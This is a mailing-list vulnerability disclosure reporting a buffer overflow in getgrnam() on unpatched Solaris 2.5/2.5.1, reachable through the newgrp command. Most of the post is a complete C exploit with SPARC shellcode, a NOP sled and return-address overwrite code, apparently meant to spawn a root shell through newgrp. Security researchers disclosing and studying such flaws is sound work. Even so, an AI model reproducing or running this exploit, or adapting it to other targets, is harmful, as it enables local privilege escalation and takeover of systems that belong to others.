Old getgrnam() Solaris 2.5 vulnerability

[Pablo Sor <psor () AFIP GOV AR>]

Hi

Old versions of Solaris, 2.5/2.5.1 (without patch) contain an
exploitable buffer overflow in getgrnam() libc function.
Sorry if this is already know, it seems an old problem but i failed
searching it in the bugtraq archives.
This vulnerability may be used in newgrp command.

bye

Pablo Sor
psor () afip gov ar


#include <stdio.h>
#include <sys/types.h>


/*
   getgrnam() function overflow.

   works against Solaris 2.5.1 (SPARC)
   default offset should work.

   Pablo Sor, Buenos Aires, Argentina.
   psor () afip gov ar

*/

u_char shell[] =
 "\x82\x10\x20\xca\xa6\x1c\xc0\x13\x90\x0c\xc0\x13\x92\x0c\xc0\x13"
 "\xa6\x04\xe0\x01\x91\xd4\xff\xff\x2d\x0b\xd8\x9a\xac\x15\xa1\x6e"
 "\x2f\x0b\xdc\xda\x90\x0b\x80\x0e\x92\x03\xa0\x08\x94\x1a\x80\x0a"
 "\x9c\x03\xa0\x10\xec\x3b\xbf\xf0\xdc\x23\xbf\xf8\xc0\x23\xbf\xfc"
 "\x82\x10\x20\x3b\x91\xd4\xff\xff";
u_long get_sp(void)
{
   __asm__("mov %sp,%i0 \n");
}

void main()
{

 long *p;
 long addr;
 char buf[8300];
 int i;


 addr = get_sp()-8096;
 printf("Jumping to address %p\n",addr);
 p = (long *) buf;
 for (i=0;i<2050;++i) *(p++) = 0xa61cc013;
 for (i=0;i<strlen(shell);++i) buf[104+i] = shell[i];
 p = (long *) &buf[8160];
 for (i=0;i<30;++i) *(p++) = addr;
 buf[8280]=0;
 execl("/usr/bin/newgrp","newgrp",buf,(char *)0);

}